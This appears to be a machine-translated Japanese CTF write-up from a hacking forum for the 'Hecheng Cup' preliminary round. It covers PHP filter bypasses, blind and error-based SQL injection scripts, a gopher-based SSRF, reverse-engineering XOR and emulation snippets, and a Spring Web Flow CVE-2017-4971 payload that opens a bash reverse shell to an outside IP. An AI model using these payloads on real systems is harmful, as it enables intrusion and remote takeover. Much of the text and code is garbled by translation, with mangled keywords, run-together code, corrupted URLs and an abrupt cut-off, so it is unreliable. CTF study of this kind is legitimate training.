Jump to content

タイトル：最初の「Hecheng Cup」CTF Cyber Security Challenge-予備記事

HireHackking

By HireHackking in HACKER

· 1 view

ウェブ

1.Middle_magic

％0a最初のレベルをバイパスし、＃＃に％23を追加します＃

アレイは2番目のレベルをバイパスします

JSON弱いタイプの比較

http://182.116.62.85:20253/？AAA=％0APASS_THE_LEVEL_1％23POST：admin []=1Root_pwd []=2Level_3={'result':0} flag {f03d41BF6C8D55F12324FD57A

2.EASY_SQL_2

ログイン機能、パスパスのユーザー名とパスワード。管理者、管理下のパスワードログインを正常に試してみてください。しかし、プロンプトフラグはここにありません。ユーザー名は-1 '||' 1 '％23を試し、パスワードエラーであることがわかりました。したがって、バックエンドは、着信ユーザー名に基づいて対応するパスワードを見つける必要があると推測されました。それをチェックした後、それはもはやユーザー名エラーではありませんでした、そして、その後、受信パスワードはMD5後のこのパスワードと比較され、同じログインが成功しました。 SQLインジェクションを試してみてくださいが、禁止が選択されているので、テーブルインジェクションを使用してください。データベース名は簡単に注入できます。また、regexpを使用せずにテーブルを使用せずにCTFであることを通知してから、テーブル名を呼び出すこともできます。テーブルはろ過されていますが、列はろ過されていません。 Information_schema.columnを使用して、盲目的にテーブル名を発行できます：mysql8.0、tableステートメント：

mysql.innodb_table_statsを使用したフィルタリングinformation_schema.table

admin '/**/and/**/（（' ctf '、'％s '、3,4,5,6）=/**/（table/**/mysql.innodb_table_stats/**/limit/**/2,1）＃フラグテーブルFL11aagに注意してください

ヘキサデシマルのメモ：

Stringimport requestsimport timereq=requests.session（）url='http://182.116.62.85:26571/login.php'def hh（）:ペイロード='admin'/**/and/**/（ascii（subst（（table/**/fl11aag/limit/**/1,1））、％s、1））=％s＃ 'chars=strint.printable.replace（'。 '、' '） '_ \ {}' result='' for i in range（1,100）: in j in range（48,125）: data={'username':payload％（i、j）、' password':'admin '} req=rep.text if' success print（j）result +=chr（j）＃print（（chr（j））、end=''）＃payload％（chr（j-1） +'％s'）print（result）breakhh（）またはcoding:utf-8-* - * - requestsdef bind_sql（）3360 flag='' dic='dic=' dic '〜} | {zyxwvutsrqponmlkjihgfedcba` _^] \ [zyxwvutsrqponmlkjihgfedcba@？=;9876543210/- 、+*）（％$＃！ flag + j＃payload='11' ||（ 'ctf'、binary '{}'、1,2,3,4）（table/**/mysql.innodb_table_stats/**/limit/**/1,1） '11'||(binary'{}')(table/**/ctf.fl11aag/**/limit/**/1,1)#'.format(_) print(payload) data={ 'username': payload, 'password': 'admin' } res=requests.post(url=url, data=data) if 'success' in res.text: if j=='〜' : flag=flag [:-1] +chr（ord（flag [-1]） +1）print（flag）exit（）flag +=j break（flag）break（flag）flag==f: break return flagif __name__=='__main __' : url=url='http://182.116.62.85336026571/login.php' result=bind_sql（）print（result）

3。 Easy_sql_1

gopher hitインデックス、管理者/管理者を試して、Cookieを見つけました。それをデコードした後、それは管理者でした。単一の引用にエラーがあったことをテストし、注入されました。 Inject admin '）およびupdateXml（1、concat（0x7e、（selectsubstr（（selectflagfromflag）、1,40））、1）＃

経験：

Gopher: //127.0.0.1336080/_Post％20/index.php％20http/1.1％0d％0ahost％3a％20127.0.0.1％ Kie％3a％20this_is_your_cookie％3dywrtaw4nksbhbhbmqgdxbkyxrleg1skdesy29uy2f0kdb4 n2uskhnlbgvjdcbzdwjzdhiokhnlbgvjdcbmbgfnigzyb20gzmxhzyksmsw0mckpkswxksm％3d％ 0D％0ACONTENT-LENGNG％3A％2024％0D％0A％0D％0AUNAME％3DADMIN％26PASSWD％3DADMIN％0D％0A古いログインインターフェイス、それは内側ではないと言って、F12を見てください。 cookie:this_is_your_cookie=ywrtaw4=、Cookieを持ち上げて、いくつかの試みの後に投稿のエコーがないことを発見します。Cookieを注入し、Admin'Base64を暗号化してください。 QUOTEDATA='' 'POST/HTTP/1.1HOST: 127.0.0.1:80CONTENT-TYPE:アプリケーション/X-WWW-FORM-URLENCODEDCOOKIE: this_is_your_cookie=ltenkx8dxbkyxrleg1skdesy29uy2f0kdeskhnlbgvjdcbncm91cf9jb25jyxqozm xhzykgznjvbsbmbgfnkswxkswxksm=; phpsessid=susn9dj4f1806v0pl5oiureek1; content-length: {} {} '' '' payload='uname=adminpasswd=admin'length=len（payload）data=data.format（length、payload）data=quote（data、' utf-8 '）url=' 3358182.116.6.62.853:28303/use.php'params={ 'url':'gopher: //127.0.0.1:80/_'+data} headers={'cookie':'phpsessid=8ek3l5l5vvestgbtttu3'} r=requestss.get（url、params=headers=headers））

4。スプリング

タイトルはCVE-2017-4971-spring webフローリモートコード実行脆弱性です

Xman Original Title：

https://www.xctf.org.cn/library/details/8ad0f5b6ac740ec0930e948a40f34a67b3d4f565/

ログインページを入力した後、指定されたアカウントに記入してログインします

1049983-20211222172610203-1304977782.jpg

次に、http://IP/HOTELS/1ページにアクセスして、[ホテルのホテル]をクリックします

1049983-20211222172610699-1834957056.jpg

次に、情報をさりげなく入力し、[進行]ボタンをクリックして確認ページにジャンプします

1049983-20211222172611257-788518227.jpg

[確認]をクリックしてパケットをキャッチし、ペイロードを入力してリスニングを開始します。

1049983-20211222172611684-148155505.jpg

_EVENTID_CONFIRM=_CSRF=BCC5CE94-5277-4064-B5F7-850432E3D2F0_（new+java.lang.processbu Ilder（ 'bash'、 '-c'、 'bash+-i+％26+/dev/tcp/121.40.134.251/10086+0％261'））。start（）=valhub

1049983-20211222172612180-248938809.jpg

次に、サーバーが接続するのを待つためにパケットを送信します

1049983-20211222172612683-1755738677.jpg

getShellに成功し、ルートディレクトリでflag.txtファイルを見つけて、フラグを参照してください

flag:xman {ughoixoedae6zeethaxoh1eex3xeij7y}

5. easypy

？phpinclude 'utils.php'; if（isset（$ _ post ['buess']））{$ yesuns=（string）$ _post ['buess']; if（$ buess===$ secret）{$ message='おめでとう！フラグは: 'です。 $ flag; } else {$ message='間違っています。もう一度やり直してください'; }} if（preg_match（ '/utils \ .php \/*$/i'、$ _server ['php_self']））{exit（ 'hacker :）'）;} if（preg_match（ '/show_source/'、$ _server ['request_uri'] :） '）;} if（isset（$ _ get [' show_source ']）））{highlight_file（basename（$ _ server [' php_self ']））; exit（）;} else {show_source（__ file__）;}？元のタイトルは変更されています。参照接続：https://www.gem-love.com/ctf/1898.html

直接電話：http://182.116.62.85336021895/index.php/utils.php/％81？show [source

または/index.php/utils.php/%ff/?show [Source

逆

1.designeachStep

1049983-20211222172613234-561347357.jpgfigure1: functionmain（）{java.perform（function（）{varbytestring=java.use（ 'com.android.okhttp.okio.bytestring'）; java.use（ 'java.util.arrays'）=function（x、y）{console.log（ 'start .'）; varresult=this。1049983-20211222172613682-1601679703.jpgFigure2: Get Flag：Flag {DE5_C0MPR355_M@Y_C0NFU53}

2.Areyourich

最終バランスに応じて、49999999を超えている必要があります。1049983-20211222172614134-1987544984.jpgFIGURE31049983-20211222172614553-599983848.jpgFIGURE4:ログインと購入フラグ1049983-20211222172614980-222289484.jpgフラグ：フラグ{Y0U_H@v3 _@_ 107_0F_M0N3Y !}0xff。 s=[0x1e、0,7,0xce、0xf9,0x8c、0x88,0xa8,0x52,0x99,0x19,0x15,0x66,0x2e、0 Xaf、0xf6,0x43,0x2c、0xc9,0xca、0x66,0xaa、0x4c、0,0xd6,0xff、0x44,0x BD、0x72,0x65,8,0x85,0x12,0x7f、0x13,0x24,0xfc、0x24,0x33,0x23,0x97,0xb 2] s1=[0x78,108,0x66,0xa9,0x82,0xb5,0xbe、0xcb、0x64,0xa0,0x2f、0x21,0x50 、3,0x97,0xc7,0x7b、0x18,0xe4,0xfe、0x55,0x9c、0x7f、0x2d、0x1d、0xb2,0x9a、0x7d、0x90,0x45,0x56,0x6e、0xb2,0x21,0x46,0x2b、0x14,0xca、0x12,0x50,0x1 2,0xea、0xb2] print（len（s））flag='' foriinrange（len（s））:flag+=chr（s [i]^s1 [i]）print（flag）または一般的に、この種の質問が1つずつチェックされるので、この種の質問を好みます。メインテキストに戻る：IDAロードファイル：1049983-20211222172615536-614988355.jpgプログラムは「％36S」と言って実行を開始しますが、実際には42ビット、嘘つきを入力する必要があります。開始して、機能の束を見ると、それぞれが似ているように見えることがわかり、フラグがビットごとに検証され、フラグが関数に対応するかどうかを推測します。デバッグや他のものはまだかなり疲れています（フラグがまったくチェックされている方法がわからないことはわかりません）。怠zyになるために、ここでユニコーンを直接使用し、printfとscanfが開始関数で呼び出される場所にパッチを当て、次にscanfをフックしてフラグをメモリに入力できるようにします。

これにより、プログラムの入力および検証関数を実行できます。以下は、このプログラムのために書いたUNIDBGクラスです。Unicorn.x86_constインポートから *capstoneインポートから *Import *Import binasciipetition_base=0x0 b '\ x01'、b '\ x02'、b '\ x03'、b '\ x04'、b '\ x05'、b '\ x06'、b '\ x07'、b '\ x08'、b '\ x09'、b '\ x0a b '\ x0e'、b '\ x0f'、b '\ x10'、b '\ x11'、b '\ x12'、b '\ x13'、b '\ x14'、b '\ x15'、b '\ x16'、b '\ x17'、b b '\ x1b'、b '\ x1c'、b '\ x1d'、b '\ x1e'、b '\ x1f'、b '\ x20'、b '\ x21'、b '\ x22'、b '\ x23'、b '\ x24'、b '\ x25'、b '\ x27'、b '\ x27 b '\ x28'、b '\ x29'、b '\ x2a'、b '\ x2b'、b '\ x2c'、b '\ x2d'、b '\ x2e'、b '\ x2f'、b '\ x30'、b '\ x31 b '\ x35'、b '\ x36'、b '\ x37'、b '\ x38'、b '\ x39'、b '\ x3a'、b '\ x3b'、b '\ x3c'、B '\ x3d'、b '\ x3e b '\ x42'、b '\ x43'、b '\ x44'、b '\ x45'、b '\ x46'、b '\ x47'、b '\ x48'、b '\ x49'、b '\ x4a'、b '\ x4b'、b '\ x4c'、b '\ x4d'、 b '\ x4f'、b '\ x50'、b '\ x51'、b '\ x52'、b '\ x53'、b '\ x54'、b '\ x55'、b '\ x56 b '\ x5c'、b '\ x5d'、b '\ x5e'、b '\ x5e'、b '\ x5f'、b '\ x60'、b '\ x61'、b '\ x62'、b '\ x63'、b '\ x64'、

  • 0 Comments

    Recommended Comments

    There are no comments to display.

    Guest
    Add a comment...